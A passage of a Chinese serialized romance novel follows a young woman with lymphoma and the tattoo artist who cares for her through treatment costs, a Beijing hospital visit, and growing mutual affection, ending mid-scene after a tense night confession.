林杳从车站出来到坐上出租这一小段距离也淋了一点雨,她抿着唇,默不作声地把冷得起了鸡皮疙瘩的胳膊套进去。 闻野出声报了地址,又让司机把空调关上,然后就绷直唇线没再吭声了。 车里的气氛沉闷压抑,司机从后视镜里看到他们坐得老远,中间隔着的距离完全再塞进一个人,女生扭头看窗外,男生则板着张脸, 目不斜视,黑眸只盯着前边。 这架势不是吵架的情侣还能是什么? 司机是个热心快肠的, 就想说帮着他们说和几句。 “情侣之间哪能没吵架呢, 床头吵架床尾和嘛, 互相退让一步, 这矛盾就过去了, 你看你女朋友这脸色多憔悴啊,一看就是生病了的,你就多让着她, 凡事依着她……” 闻野本就心情烦躁,此刻更是听得一腔怒火,声线沉冷地打断:“你搞得清楚情况吗就瞎他妈扯,闭嘴。” 司机:“……” 这么凶,活该你女朋友不理你! 到巷子时这场暴雨已经停了,坑洼的地面泥泞不堪,闻野从后车厢拎出行李箱,还是一张面无表情的冷脸。 “是你自己走回去还是我继续把你扛回去。”他偏头看向她,挺民主地给出她选择。 林杳:“……” 她抬脚走前 边,先到的家门口,然而还得尴尬地站着等闻野,钥匙她离开前就留了下来。 闻野开了门,行李箱给她拿进楼上的房间声音淡淡,不容拒绝:“先去洗热水澡,把头发吹干,一小时后我来找你谈。” 他说完走出她的卧室,也去冲了个澡,头发发,十多分钟就吹完了,又走到玄关处拎起小姑娘那双沾了一圈泥水的小白鞋拿去刷干净了。 林杳坐在桌前拿着吹风机吹头,刚吹得差不多干,外边响起两下敲门声。 她过去拉开门,少年身上穿着件宽松T恤和休闲裤,骨节分明的手里握着个玻璃杯,里面的褐色液体氤氲出白茫茫的热气。 空气里泛出板蓝根微苦的味道。 闻野把玻璃杯递给她,等她接过后走进房间,屈着长腿率先在桌子前的椅子坐下。 林杳便只能坐在床边,她仰头忍着有点苦的药味喝完,刚刚把杯子搁在桌上,闻野就从兜里摸出了颗奶糖塞她手里。 她抬眸,朝椅子上的人看去。 少年眼皮耷拉着,唇角绷得平直,还是很不高兴,甚至是还生气的状态,可却还记得她特别怕苦,会在冲完板蓝根后捎一颗糖来。 林杳鼻间又止不住地泛起酸,心里针扎一样难受。 为什么她要生像无底洞一样不停花钱的病?为什么她都这样了,他还坚持要管她,还对她这么好? 他现在纹身店一个月能赚一万多,只要他像她父母,或者养父母那样,甩开她这个包袱,他很容易活得轻松自在。 闻野是真被她不告而别的行为气炸了,敲门之前特意把脸冷了下来,一直维持到现在。 本来准备好好教训她一番的,结果现在看着她咬着唇要哭不哭的,眼圈泛红的模样,他心一瞬就软得不行。 “还没说你呢,哭什么。”他冷硬的眉眼柔和起来,从她捏着不动的小手里拿回那颗奶糖,撕开之后直接塞她嘴巴里。 “怎么回事啊就要一走了之,还给我写张破纸条留那儿。是乖乖女当烦了,学着电影体验一下叛逆少女的感觉?” 他故意开玩笑,用轻松的语气说着,惹得林杳脸颊一热。 她吸了吸鼻子,红彤彤的眼睛看向他:“化疗每次两千多,动不动就要做的PET检查一次也是五千,还有每天吃一堆的那些药。从我生病到现在,才半年不到,你算过你在我身上花了多少钱吗?” 闻野看着她郑重其事的小脸,气笑了:“这些钱又不是吃喝嫖赌,是用来治病,钱用完了可以再赚,命只有一条,就因为怕花钱,病就不治了?” “你这受过教育的大学生,思想觉悟怎么这么低?把钱看得比命还重要?还有我不是和你说过,我银行卡里有一笔保险金。” 林杳目光直直看着他,不依不饶道:“是哪家银行的卡,我明天一早和你一起去查查看余额还剩多少。” 闻野神色一僵,还在想怎么搪塞过去,就听她颤抖着声线的嗓音坦白道:“我今天中午去了趟广茂大厦,我看见你了。” 林杳吐出口气:“你已经为我做得够多了,我不能再这么自私,像个蝗虫或者吸血鬼一样靠着吸你的血才能活下去,让你冒着生命危险给我治病。” “瞎说什么!”闻野立即生气地斥道,他深拧着眉,表情十分不悦:“什么吸血鬼蝗虫,你会不会说话,我做的一切都是我心甘情愿的。” “而且也不叫冒着生命危险,你别说得那么夸张,那安全绳你从底下看着吧是挺细的,其实人家能承受好几吨的重量,只要我遵循安全规范,根本不会出事的。” 林杳抿着唇沉默不语。 闻野无奈地叹了口气:“你知道像这种高空作业的活儿,单位都会给买意外险么。我受益人那栏填的是你的名字,有好几次我被吊在半空时都在想,要是我摔了下去,赔偿金足够你用进口的药,接受最好的治疗。” 林杳听得心惊胆战,瞠目结舌:“你怎么能有这种想法?!” “别怕,只是这么想了想,我不会那么做。”闻野立刻安抚地说道:“因为我知道,要是你拿着这笔赔偿金,就算治好了病,也会一辈子心里不好受的。” 他看着她水汪汪的眼,勾唇笑了声:“而且你又是个小哭包,要是我真怎么样了,你得哭成什么样,别到时候还把眼睛哭瞎了。” “但有件事你得明白,只有你活,我才能好好活着。” 他漆黑瞳孔望着她,嗓音低低道:“我那么久都是一个人,好不容易有了个你这么乖又懂事的妹妹,我想每天晚上回家有盏灯是为我亮着的,也想下雨会有人给打电话,问我带了伞没,这种被人惦记着关心的感觉很好,我不想失去。” “所以答应我,以后不能再做出今天这种事了,好不好。” 林杳咬住又想哭的嘴唇,憋着泪点头。 闻野这才满意了,站起身要去做晚饭,又怕她一个人待在房间七想八想的,笑着把她脑袋轻轻一拍:“走,下去帮我淘米去。”- 二期化疗效果良好,两人心里都燃起了希望,闻野听说有款新型的靶向药效果很好,决定带林杳去北京那边最好的肿瘤医院做基因检测。 两人坐高铁过去,五六小时的路程,到那儿是晚上了。 闻野让出租司机找了家医院附近的小宾馆,到底是寸土寸金的首都,挺破旧一地,房价好几百一晚。 前台看一眼他俩,公式化地询问:“你们要几间房?” “一间。” “两间。” 两道声音同时响起,前台有些稀奇地看向刚说要一间房的林杳,一般来说都是女生要两间,男生说一间,再保证发誓绝对不会做什么,女主半推半就地就答应了。 她还是头一回遇到这么直接就要一间房的女生。 前台和闻野同时看着她,林杳脸红了红,她还是道:“就……就要一间房。” 房价那么贵,反正她和闻野又不是没睡过一间房,在医院病房里不就是这么住过。 “房卡一张五十,弄丢了照价赔偿,房间抽屉里的东西只要用了就按盒就算,三十一盒,退房时扣钱。”办理入住手续时,前台按惯例提醒道。 闻野拿房卡开了门,房间很小,一张双人大床就占了几乎一半的面积,有独立的卫生间,他走过去看了看,不知是没来得及打扫还是怎么的,瓷砖上有长头发,垃圾桶里装着垃圾的袋子也没扔,有些脏乱。 “你先休息会儿,等我把卫生间打扫下你再去洗澡。” 林杳把换洗的衣服先从行李箱翻出来,内衣内裤藏在卷着的睡衣里,先搁在床上,想到前台说的用了要付钱的东西,她好奇地拉开抽屉。 摆满一屉子的杜蕾斯映入眼帘,她脸刷的一下红了,赶紧慌里慌张地又把抽屉推上。 闻野拎着一袋垃圾要出去扔:“可以去洗澡了。” “噢好。”她抱着睡衣走进干净多了的卫生间,脸还是隐隐发热。 洗完澡出来,林杳看见床侧边铺着的被褥,有点惊讶:“你今晚睡地上吗?” 闻野黑眸不解地看向她。 林杳脸颊又红了红,小声道:“我是说这床还挺大的,我们两个应该都睡得下,睡地板太冷了,又不舒服。” 京市比平城冷得多,零下十几度,虽说房间里装了暖气片,还是没什么热度。 他为了她的病东奔西跑,怎么也不可能她舒舒服服地睡着床,让他在硬邦邦的地板上挨冻。 就一人睡一边,应该也没什么的。 “不行。” 闻野斩钉截铁地拒绝,住一间房已经不挺合适了,哪还能睡一张床上,小姑娘家家的,怎么一点男女之防也没有? “那你不睡床,我就坐一晚上,也不睡觉了。”林杳往床边一坐,鼓着腮道。 闻野蹙了蹙眉:“别无理取闹。” “我才不是无理取闹呢。”林杳仰头和他对峙,一点也不怕他。 房里温度不高,她又才洗完澡,说完就打了个小小的喷嚏,她轻耸了耸鼻尖,仗着他在意她,故意可怜巴巴地耍赖道:“你再不上来睡我就要感冒了啊。” 闻野真怕她因此 受凉了,本身身体就病着,哪能再搞感冒了。 他没辙,只能抱起被子放到床的另一边,他挨着床边睡,侧身背对着她,规矩地不越线分毫。 林杳身体也朝着另一侧,背对背,至少没那么尴尬。 她闭着眼半天没睡着,一个原因是因为身旁多了个人,到底都有点不习惯,另一个原因就是冷得。 脚在被子里捂了半天还是冰凉的。 黑暗里,身后突然响起道声音:“是不是脚冷得睡不着。” “啊,”林杳愣了愣,意外他这么料事如神,如实道:“是脚有点冷。” “是我没考虑周到,应该给你买个热水袋。”闻野语气有点自责。 他知道她体寒,从前就特别怕冷,生病之后免疫力降低,变得更加畏寒,只是没想到这宾馆开着暖气也一点不暖和。 林杳想说不要紧,唇张了张,还没来得及出声,就听他又道:“你把脚伸过来,我给你捂捂。” 她耳尖一红,犹豫了下,还是翻了个身朝向他,把两只冰凉的脚丫从自己被子里伸出去,钻进他的被子里。 下一秒便被闻野粗砺温热的大掌覆盖包裹住,紧紧的,甚至她能感受到掌根处薄薄的一层茧子。 深夜里北风呼啸而过,窗户扑棱棱的响,并不好的隔音还能听到旁边另一间房有人在看电视。 他们俩的房间很安静,彼此在黑暗中无声对视,被子里他的大掌捂着她的脚,温暖无声无息地熨烫过来。 很久很久,林杳心脏从飞快跳着,到渐渐恢复正常跳动,再到她安安稳稳地睡着。 捂着她脚的大掌都没松。 第36章 第三十六章 轻轻摩挲她的唇瓣 生病各种吃药的缘故, 林杳这些时睡眠变得越来越少。 第二天她挺早就醒了。 房间里黑漆漆的,本该睡在她旁边的闻野不见了人影,她起初以为他是上卫生间去了, 但再一看, 卫生间里没开灯, 也是乌漆嘛黑的。 林杳忙从枕头边摸到手机,摁亮后先看到时间, 六点过20分。 紧接着看到闻野一个小时前发来的一条信息:【我先去医院把号挂着】 她拨过去电话,那边很快接通了,耳边传来他带着笑,挺高兴的一声“喂醒了啊”,还能清晰听见他那边呼啸而过的北风声。 这个时间天都没亮,外面估计零下十几度多,说是天寒地冻也不为过。 林杳鼻尖有些酸:“你怎么这么早就去挂号了啊?” 要是他设了闹钟,她肯定也能听到醒来,可她一点动静都没听到,都不知道他是怎么醒得比她还早的。 “我在网上查了下,那个成教授是治疗淋巴瘤最有经验的, 就是一号难求,早上六点钟放号, 三分钟不到就全部抢完了, 我们既然过来了, 当时要看最好的。” 林杳听到他似乎牙齿打了个冷颤, 语调却是高亢的:“我拿到明天的号, 反正来都来了,今天我们还能先把京市逛逛。现在温度挺低的,你别起来, 再在被窝里多躺会儿,早餐想吃什么,我给你带回来。” 她喉咙涩然:“你路过什么随便买点就行。” 闻野半小时后回来,勾着早餐袋的手指被冻得通红,头发被猛烈北方吹得乱糟糟的。 林杳挂完电话就起来了,她烧了壶水,一听到开门立刻去倒了杯温开水水。 她把水杯给递给他:“你先喝口热水缓缓。” 手指触碰到他的手,冰一样冷,她被拧了下,转身装作拿什么东西,抬手飞快把眼角的湿痕擦了擦,不能让他又笑话她是小哭包。 两人坐在小茶几边吃。 闻野先吃完,搁下筷子拿手机搜索附近好玩好玩的地儿。 林杳心疼道:“你今天起得那么早,你去补会儿觉吧。” 闻野眉梢轻扬,一副精气神十足的模样:“我又不困。” 在平城这些时小姑娘成天医院家里两边跑,闷也闷坏了,难得出来一趟。 话音刚落,就听她软软的嗓音道:“但是我今天醒得也很早,还想再睡会儿。” 他于是顺从地改了口:“那行,我们下午再出去玩。” 闻野还记得她昨晚脚冷到睡不着,但一大早商店都没开门,热水袋买不着,他买了一大瓶绿茶,倒掉后灌进去热水,盖子拧得紧紧的,反复晃了几次,确定不会漏后才放她被窝。 “先将就这么用着,烫不烫?” 林杳脚贴着灌满热水的塑料瓶,温暖从脚心一路传至心尖:“不烫,刚刚好。” 她阖上眼,装睡了不到五分钟,耳侧就传来平稳均匀的呼吸声,她很小心地,很轻很慢地转过身。 旁边的少年已睡熟了。 那么早起,哪有不困的呢。 房间没开灯,从窗帘的缝隙漏进一点微光,她眼睛眨了眨,继续瞧着他。 平常没机会长时间盯着看,又因为朝夕相处的缘故,她只感觉他有变化,但没此刻的感觉那么清晰。 脸瘦了些,为了赚钱,只要有顾客他都来者不拒,早起又熬夜地给人刺青。 被子外露出的那截肩膀更宽阔,手臂肌肉也更精壮结实,那是因为高空作业,更换沉甸甸的广告牌锻练出来的。 一直以来冷白的肤色晒黑了几度,少年感褪去大半,更有男人那种野性成熟的感觉。 而这一切变化,都是因为她,真的只是因为把她当作妹妹吗?会有亲哥哥会担心妹妹脚冷,给她用手掌捂一晚上的脚吗? 林杳揣着这个疑惑,下午和闻野出去逛逛。 首站是故宫,去的路上,闻野还给她买了根裹着糖霜,洒满芝麻的糖葫芦,她拿在手里边走边吃,一路腮帮子鼓鼓地嚼着。 到处是拍照的游客,天冷得要死,还有女生穿着漂亮的清宫服饰在拍写真。 闻野看向林杳,从裤兜掏出张纸巾,拿着给她把沾唇角的一颗芝麻擦掉,懒漫地勾起唇提议:“要不要也去红墙边拍张照?” 林杳头点了一半,改成摇了摇:“不想照。” 她现在一脸病容的样子又不好看。 闻野不勉强她:“那行,我们再把前面的宫殿逛逛。” “吃不下了。”她把还剩一颗糖葫芦的签子给他。 闻野接过,顺理成章地吃掉。 晚上两人去吃这儿有名的烤鸭,然后去逛很多杂货饰品的小巷子,有个小摊位前挤坐着一排人,挂着的横幅上写着挑战送礼品。 好奇心驱使,林杳也拉着闻野过去看。 走近了,才看到纸上写的规则:情侣两人分别按顺序从1写到800,不许出现涂改,多写或者漏写的情况,成功完成的情侣能获得一条精致漂亮的玛瑙手链。 乍一看像是挺简单,但其实很考验大脑的集中力,而且隐含陷阱多,周围嘈杂的人声,昏暗的灯光都容易让人眼花写错。 好几对情侣都挑战失败。 林杳仰脸望向闻野:“我也想试试。” 闻野去交了五块钱,领来两张布满密密麻麻小格子的a4纸和中性笔。 两人紧挨着坐下,埋头专注地写起来。 闻野先写完,一分钟之后林杳也完成了,他拿着两张纸交给老板检查。 一点错误没有。 老板不死心,从头到尾又仔细地检查了一遍,依然没挑出问题,只能扯着脸皮强撑出笑:“恭喜二位挑战成功,女生亲男生一下,证明你们是情侣关系,这串价值五百块的玛瑙手链就归你们了。” 闻野拧起眉:“规则上没写还要亲。” 一把破手链还搞这种乌七八糟的名堂。 他们借着情侣的身份参加已经是不合适,更何况还是……亲。 他冷沉着脸的样子让老板有点儿发怵,但那条手链不便宜,能赖下不给当然最好。 老板脸上还挂着假惺惺的笑,强词夺理道:“这规则上是没写要亲,但写明了要情侣才能参加,你们不亲一下,我怎么知道你们是情侣还是别的什么关系呢,就亲一下脸,这要求也不过分啊。” 闻野刚要 发作,手指被只戴着毛绒绒手套的小手轻拽了下,他敛去眼眸里的不爽,垂下看她,少女苍白的脸颊染上绯红,紧紧咬着唇瓣。 “我……我很想要那条手链。” 林杳松开咬出道白痕的唇,鼓起十足的勇气说出这句,心脏已经跳得厉害,耳朵这下也烧起来,滚烫滚烫的。 “你能不能帮个忙,配合我一下。” 后边半句话几乎是用微弱的气音说出来的,但闻野还是听见了,脑子轰的像被炸开。 他皱紧眉,有些生气,想和她说女孩子的吻很珍贵,怎么能为一把破手链就轻易付出,可看着她亮晶晶,期待又忐忑的眸子,又不忍心。 还有着心底卑劣的渴望作祟,喉咙动了动,哑声说出的话成了:“真那么喜欢这条手链?” 林杳心虚地点了点头,见他似乎不反对,手扶着他胳膊借力,踮起脚尖,身高差悬殊,这样了还是不太够得着。 只能在他下巴上亲了一下,浅浅的,蜻蜓掠水般飞快。 所有勇气就此消耗殆尽,林杳感觉心脏似要从嗓子眼里跳出来,脸颊也是前所未有的热,她不敢多看他一眼,转身去找了老板。 老板再没什么好抵赖的,不情愿也只得把那条手链给了她。 林杳戴上手链,回宾馆的一路没怎么和闻野说话,就不停盯着腕间的手链左瞧瞧右看看,像是稀罕得不行,脸颊烧着的热一直未褪。 之前他喝醉的那晚亲了她嘴巴,还差点把舌头伸进去呢,那她今晚亲一下他脸,也不算太占他便宜…… 闻野一路抿着唇,话更少,少女温热,湿润又充满着甜蜜气息的触碰像烙在闻野皮肤上。 那种美好得不可思议的感觉一直持续到他回去,洗澡,躺上床,再到闭着眼后的几个小时,还一点没消失。 胸腔好似灌满热烈滚烫的岩浆,随时要喷涌而出。 这时旁边睡熟的人有了动静,似把被子里的什么蹬开,随即翻了个身,两只脚像昨晚那样伸进他的被子里,贴上他的腿。 林杳睡觉前被窝里被闻野塞了个热水袋,可几个小时过去,热水袋早凉透了,她睡梦中脚也感觉冷,迷迷糊糊寻找到个热源之后就不愿离开。 闻野全身感官都集中到大腿的某一侧,女孩儿的小脚软嫩无比,无意识地轻轻蹭着他腿时,比蓄意勾引还要命。 他身体像拉满的弦一样绷紧,哪怕用尽理智和克制,那根弦还是啪的一下断裂,胸腔里那股滚烫的岩浆最终还是喷薄而出。 他去卫生间冲了个澡。 隔着门,水流声也被他尽量调到最小,林杳却还是被吵醒了。 这一晚她情绪跌宕起伏的,睡得就更不安稳。 迷糊地睁开眼,她听到卫生间有细微的水声,起初还以为闻野是在洗漱,还奇怪他怎么又起那么早啊。 水声持续了好久没停,她反应过来闻野是在洗澡。 但睡前他分明是洗过了一次。 林杳不是活在真空的玻璃罩里,再单纯懵懂,对基本的生理知识还是知道一点,以前在外国语念书还好,三中的男生聊天时就有些荤素不忌。 她时不时在课间听到男生们三五个聚一堆,兴致勃勃地讨论那方面。 早上洗裤子,半夜洗澡,都是因为睡前看了那种片子。还有句话说得极其粗俗,什么碰一下喜欢的女孩子,那什么都会变得邦儿硬。 林杳光想着脸就羞得烫红,又有些疑惑,她很确定闻野睡觉前是没有看的那些片子,怎么睡得好好的,怎么突然要去洗澡了呢。 闻野弄得很艰难,压抑得太深太久,还不敢搞出太大动静,连粗喘都拼命地克制。 他为自己此刻的龌龊而倍感可耻,一直以来打着兄妹的名号,他的确也想给她当好哥哥的,拼了命都想。 可他对于她的那种生理上的,原始又丑陋的情欲,从初见的那刻就镂进骨骼,同样拼了命也没能从骨子里剔除。 闻野抿紧唇,在有些自厌的情绪中释放出来,洗了几遍手,搓洗脏了的裤子,又用冷水搓了几把脸,逼退还未完全散尽的情潮。 林杳听到卫生间的门开了,赶紧闭上眼装睡,脚步声愈来愈近,直至床边停下,她脚上的被子被轻轻掀开一角。 闻野拿起那只凉透的热水袋,新买的,还带着股塑胶味。 他重新去灌满热水,拧紧后放到她脚边。 林杳竭力继续维持着装睡的假象,不然让他知道她知道他刚才干了什么,彼此都很尴尬又难为情。 身侧的床往下一塌,闻野睡了上来。 他伸手把她只盖到胳膊的被子往上扯了扯,边角掖好。 夜色里女孩儿熟睡,长睫安静地垂着,唇瓣生病以来一直是苍白的,几丝乌发黏在唇边。 闻野替她将那几根不听话的发丝轻轻拨开,说不清是不小心还是情不自禁,指尖触碰到了她的唇瓣。 温温软软的。 闻野喉结滚了滚,粗砺的指腹微微发着颤,小心翼翼的,带着万分的珍视和无比的渴望,轻轻摩挲着她的唇瓣,一遍又一遍。 浓黑的夜色藏住了林杳红得要滴血的脸颊,疯狂跳动的心脏也被厚重的棉被遮盖住了。 耳畔是他一声粗过一声的呼吸,搅得少女脑子发晕,晕乎中她不确定地浮现一个猜想—— 闻野半夜去洗澡,是不是因为她呀? 第37章 第三十七章 生前死后都作数 好半天停留在她唇瓣上的碰触才消失。 林杳脸颊早热得火烧一样, 幸好闻野没去摸她脸,不然一定会察觉到她装睡的端倪。 她还晕乎着的脑袋有点庆幸地想,又去思考刚才那个突然冒出的, 不太确定的猜想。 好像也不是没可能。 晚上她为了那条手链要去亲一下他脸, 闻野也没推开她呀, 要是他只把她当作妹妹,应该会很排斥吧。 还有他之前说的, 喜欢的女孩子的类型,什么聪明漂亮会跳舞,她以前也都是符合的。 越想感觉越确定,林杳心里像炸开了烟花,又羞涩又开心,怕情绪泄露出来,她立刻咬住唇,结果又想起方才闻野拿手一遍遍摩挲她唇的感觉。 分明只是手指的触摸,却感觉比她亲他的那一下还暧昧,莫名有种奇怪又难言的羞耻感。 …… 林杳一直装睡到真的睡着,等她再次醒来, 窗外透出一点朦胧的淡青色亮光。 闻野早就醒来,他头枕在交叉的胳膊上, 眉心深深攒着, 还在懊悔自责昨晚趁着小姑娘睡熟时做出的轻薄举动。 听到身侧的动静, 他偏过头, 看到她刚睁开的惺忪眼眸, 含糊问几点钟了。 闻野拿起手机摁亮,嗓音沉哑低柔:“才六点半,挺早的, 你再眯会儿。” 听他说完,小姑娘听话地阖上眼皮,没几秒又倏地睁开,把他看得一愣:“怎么了?” 林杳想起了昨天夜里发生的一切,脸颊微红,支吾着撒谎道:“没什么,就是感觉不困了。” “那我起床去给你买吃的,早餐想吃什么?” 闻野掀开被子正要起身,林杳拦住他,声音透出糯糯的软:“肚子还不饿,早晨气温那么低,你再多躺一会儿呀,我现在也不想起来。” “那行,等你饿了和我说。脚是不是又冷了,你把热水袋拿出来,我给你烧水重新灌个。” “不用。”林杳不想搞这么麻烦。 “什么不用,我敢保证你现在脚凉得跟个冰块似的。”闻野往身上套了件毛衣就要起来。 林杳一时情急,脚往他被子里一伸,没羞没臊道:“那、那你给我捂捂,就不冷了啊。” 她两只冰凉的小脚又被少年温暖的大掌包裹住,比热水袋要好得多,不会 刚开始太烫,一会儿又变得冷又硬。 “如果我的病能治好……”她舔了舔唇说。 “不是如果。”闻野打断她,轻拧的眉梢透着几分不高兴,因她这不恰当的用词。 他声线笃定:“是一定能治好。” 林杳从善如流地改口:“那等我病治好了,我想转到医学专业去,你觉得行吗?” 她之前学的是新闻专业,有一点兴趣在,更多的原因是报考时老师的建议,说适合女生,更好就业。 而生病的这一年来,她频繁地跑医院,以前陌生又害怕的地方给了她活下来的可能。 她对这个职业多出许多切身实际的敬重感,她希望自己被救,也希望自己以后能拥有治病救人的能力。 闻野知道学医要吃很多苦,有点舍不得,但更支持她的决定,他扯起唇角哼笑了声:“怎么不行,白衣天使这个词安在你身上再合适不过。” “我还想学做饭,到时候你教我做饭。” 她没太多做饭天赋,之前也尝试过照着菜谱做,结果做出来的味道都一言难尽。 闻野想说做饭又不是什么好活儿,夏天热冬天冷,累还吸油烟。 但基于这是小姑娘病好了的愿望之一,他还是先答应着道:“等你病好了,我把我的拿手菜都教给你。” 林杳开心地翘了翘唇角,以后就不用每顿饭菜都由闻野做,她也能分担一些了。 “我还想,”她紧张地咽了咽口水:“想找个男朋友。” 闻野心口一滞,勾着的唇角随即放得平直。 只是转瞬又想,她现在可不就是谈情说爱最好的年纪么,总不能让她像他一样,一辈子打光棍。 他咬了咬后槽牙,忍着强烈的不爽和对不知是哪个男的的嫉妒,从喉咙里发出这淡淡的,毫无起伏的一个字:“行。” 林杳:“哼。” 闻野不解抬眸,看向刚哼唧了声的小姑娘。 “你怎么不问我喜欢什么样的男生啊?”林杳脸绯红,不满地嘟囔。 这肯定是得问清楚的,差点就被嫉妒冲昏头脑了,闻野敛了敛表情,一本正色道:“你说说来听听。” “我喜欢长得高的男生,要比我高一个头,还要长得帅,还得是那种乍一看冷冷拽拽的类型,但其实又很心细,有责任又有担当,对我还特别好。” “还要有一技之长。”她补充,眨巴着眼看他。 闻野凝神细听,听完她提的这么几个简单的要求,来不及捕捉那一点似曾相识的熟悉感,眉先拧了起来。 就这几点要求? “还有学历呢,家庭背景呢?” 林杳腮帮子鼓了鼓:“又不是招聘员工,还看什么学历家庭背景啊。” 闻野真心觉得从前让她跟着一起看的那什么老娘舅的情感节目都白费了,怎么小姑娘还是有点恋爱脑的趋势啊? 学历和家庭背景都不看,要是对方只有个高中学历,怎么给她提供好的生活条件? 又万一那人有个好赌的爸,病重的妈,和一个上学的妹妹,她还死心眼地非喜欢人家,这以后的日子可不是遭不完的罪吗? 闻野打了满篇的腹稿,正欲给她再好好上上课,纠正一下她的错误思想。 林杳长睫抖了抖,小声的,语调软糯糯道:“噢,还有很重要的一点,我喜欢的人会愿意在冬天不嫌麻烦地给我捂脚。” 闻野神思一震,掌心力道紧了紧,将那两只已经捂热的小脚包裹得更牢。 刚才那点似曾相识的熟悉感在脑海里一点点具象化,他心潮翻涌复杂。 说没有窃喜是不可能的,但更多是不可置信。 彼此视线在空中交汇,他瞳孔黑漆漆的,沉默又似有哔剥燃着的光。 林杳又有点怂了,还觉得有点不合时宜,谁表白是一大清早在床上的啊? 她红得要爆炸的小脸往被子里埋了埋,小小的,闷闷又没出息的声音传出来:“我、我饿了,我们去吃早饭吧。”- 闻野昨天挂的号是上午十点,两人早饭吃完就过去了。 在首都的大医院,林杳见识到了真正的人山人海,医院的大厅,走廊,连上行的电梯挤满了人,形形色色的,很多还是外省赶来,打扮得质朴,脸上带着疲惫,说话操着乡音。 还有个挑着扁担的农民工在导诊台咨询,挂着的两只大箩筐沉沉的,一个装着行李,一只装着婴孩。 医院汇集着人生的最多苦,也凝聚着最多的希望。 闻野对看病的流程早已驾轻就熟,拿着林杳的身份证去签到,然后在候诊厅等待被叫号。 这边更是人满为患,有的疲惫靠着椅背休息,有的焦急不安地四处张望,还有的在玩手机,但也是一脸的愁容。 闻野从裤兜摸出一枚硬币,勾唇看着她:“要不要看我变魔术?” 林杳眼睛亮了亮:“你还会新的魔术呀?” 每次化疗,他都会变好几个魔术给她看,帮她转移注意力,缓解药剂注入身体的疼痛,都变了好多个了。 闻野从裤兜摸出一枚硬币,低懒地笑了声:“看好了。” 林杳一眨不眨地睁大眼,只见他宽大手掌包裹着硬币握成拳,另只手覆上拳头手背,往下一压再松开,原本该被紧握在手心的那枚硬币凭空出现在手背上了。 “你怎么变得呀?”林杳依然没看出破绽,语气惊奇。 “我教你呗。” 一个多小时的等待时间本该是漫长无聊的,但林杳跟闻野学着变了几个小魔术,倒也是自娱自乐,并不算难熬。 终于他们的号被叫到了,走进去,年近花甲的主任专家询问了林杳的病况,看过闻野递来的厚厚一沓,之前在平城人民医院做过的那些检查报告。 主任戴着眼镜一一仔细看过,又让她去拍一组新的PET-CT,等拿到结果又是两天之后的下午了。 还得那位主任,看那些片子时眉短促地皱了下。 林杳和闻野两人原本轻松的心情一瞬间笼上一层阴云。 紧接着听到主任道:“我不建议你目前服用靶向药,你二期化疗的效果虽然不错,但根据刚才的片子来看,不到三个月就已经出现复发趋势,所以要是想要彻底治愈,建议你们尽快准备骨髓移植手术。” 一句话,对本以为有所好转的两人都犹如是晴天霹雳,前天早上还兴致冲冲谈论的,所有关于病好了的美好愿望都成了虚幻的泡影。 骨髓移植相比化疗来说,风险要大得多,很可能会出现移植失败,排异反应还有感染的风险。 还需要找到合适的配型,钱更是个迫在眉睫的大问题。 走出医院,太阳已经下山了,傍晚的天色昏冥,温度又降得很低,绿化带里的树枝在呼啸的猎猎北风中张牙舞爪地乱颤。 闻野把手里拿着的毛线帽子给她戴脑袋上,林杳抬起脸看向他,唇瓣刚动了下,被他抬手捂住,才发出的一个微弱音节落进他温热干燥的手心里。 心有灵犀,少年板起了脸,对她沉声警告:“不许说些乱七八糟的丧气话。” “……” 晚上回到宾馆房间,林杳先去洗澡,闻野拿着手机搜索骨髓移植的风险,需要的费用,又查银行卡里剩的余额,甚至是高利贷的信息。 等她洗完了,他进去洗,还在凝思苦想怎么让赵美莺答应去做骨髓配型。 他洗完出来,关灯,躺上床。 身旁闭着眼,还以为已经睡着的小姑娘突然钻进他的被子,双手紧紧搂住他。 闻野更清晰地感受到她的瘦,身上的肋骨都突出来了,唯一有肉的地方是鼓鼓的胸脯,隔着彼此睡衣单薄的布料紧紧贴着他 胸膛。 他身体僵住,以为她是害怕骨髓移植的事,他自己也正为手术的风险担惊受怕。 “虽然骨髓移植有风险,但医生也说了,你很年轻,又是早期,移植成功的概率会高很多……” 闻野一手搂住她,一手轻摸着她头温声道,还没说完,怀里的人抬头,望着他的眼睛,直白得近乎带着孤注一掷的决然问:“你是不是……喜欢我啊?” 闻野愣了愣,一下子不知道该怎么回答,又觉得她有点反常。 寂静在黑夜里蔓延,林杳长睫抖了几下,也没等到他出声,便把这份没有反驳的沉默当作默认。 她仰起脖子,苍白的唇瓣送过去,贴上他的薄唇。 所有的勇气和羞耻心只够支撑她做到这一步,后面的她也不会了。 彼此的唇瓣贴着,呼吸从未有过这般近的勾缠住。 一切发生得太,太出乎意料,闻野脑子还没转过来,明白是怎么一回事,身体本能的反应替他先做出了回应。 和她有身体接触的地方无一处不紧绷,抵在她腿侧的更是一下一下地强烈跳动,无言又清晰昭示着他的渴求。 等反应过来,闻野整个人快要疯掉,他用尽全部忍耐压住心理和身体双重欲念,逼迫自己离开近在咫尺,贪恋已久的柔软唇瓣。 又深吸一口气,将搂着他的,那具温软馨香的身体推开。 一秒没耽搁,他果断从床上起来,扯起被子将今晚脑子不正常的小姑娘盖住,然后几大步走到卫生间,水龙头开到最大,几大捧冷水直往脸上扑。 等身体反应消下去,他拿了毛巾胡乱擦了擦脸,气势腾腾地走回房,站到床边居高临下看着她:“你刚才脑子抽什么风?” 林杳坐了起来,被子从身上滑落,睡衣的领口还是乱的,露出一把雪白瘦弱的肩膀。 闻野现在最是看不得这些,一把又把被子给她提溜上来,除了小脸,整个身体都给她裹得严严实实。 “我没抽风。”林杳小声道,露在被子外的脸一片通红,羞臊又有点难堪,声音低得跟蚊子哼哼似的。 “你没否认喜欢我,那就是喜欢的,我也喜欢你。我没什么能给你,就剩我自己可以给你了。” 她的第一次,她只想给他,也是她唯一,最后能留给他的了。 那句“我也喜欢你”像从天而降的巨额彩票大奖,闻野被砸得头一阵眩晕,狂喜过后又是一阵恼怒。 他额角青筋跳了跳,向来在她面前注意言行的人控制不住爆了粗口:“这他妈是能随便给的吗?” 闻野看着她,还是觉得不对劲,她今晚的言行都太过古怪。 他漆黑眸子直勾勾盯着她,声线一沉:“你到底在想什么?” 林杳咬着唇,默不作声地垂着头,像做错事的小孩子。 却在下一秒,下颌被只闻野拇指和食指轻轻钳住,她被迫重新抬起头,不得不和他看穿一切的黑眸对视上。 站着的人朝她弓下脊背,和她的视线水平,他脸上的水珠还没完全擦干,滴滴往下淌着,睫毛也是湿的,黑眸盯着她,渐渐发红:“你知不知道——” 